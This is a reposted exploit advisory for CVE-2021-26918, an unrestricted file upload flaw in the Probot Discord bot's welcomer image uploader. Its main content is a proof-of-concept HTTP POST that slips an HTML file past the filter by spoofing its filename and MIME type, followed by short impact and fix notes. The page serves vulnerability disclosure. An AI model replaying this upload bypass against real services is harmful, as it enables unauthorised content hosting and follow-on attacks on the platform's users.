Advertisement






Discord Probot Arbitrary File Upload

CVE Category Price Severity
CVE-2021-26918 CWE-434 N/A High
Author Risk Exploitation Type Date
N/A High Remote 2021-02-09
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.03244 0.78206

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020042

Below is a copy:

Discord Probot Arbitrary File Upload
# Exploit Title: Discord Probot - Unrestricted File Upload 
# Google Dork: N/A
# Date: 2021-02-08
# Exploit Author: ThelastVvV
# Vendor Homepage:probot.io
# Version:Version 2021
# Tested on: Debian 5.7.10-1parrot2
# CVE:CVE-2021-26918


About:
Probot is a discord very customizable multipurpose bot for welcome image, In-depth logs, Social commands, Music, Moderation and many more ...

# Description:

The attacker can acces to probot dashboard and use image uploader in the welcomer tab , the attacl can upload many file types  due the issues of unrestricted file uploads which can be bypassed by changing multipart/form-data POST request with a specially-crafted filename or mime type.

# PoC:


POST / HTTP/1.1
Host: uploader.probot.io
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------
Content-Length: 333
Origin: https://probot.io
DNT: 1
Connection: close
Referer: https://probot.io/server/""/welcomer

-----------------------------
Content-Disposition: form-data; name="file"; filename="ste.html.jpg"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
<title>bypasss</title>
</head>
<body>
<div>bypass</div>
</body>
</html>

-------------------------------

Note:the link of the file will be generated depend on the content type in this case .html

# Impact
Unrestricted file uploads can be abused to exploit other vulnerable sections of an application when a file on the same or a trusted server is needed (can again lead to client-side or server-side attacks)

#Solution
File types should be restricted to only jpg ,png ,jpeg  (text/img)

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum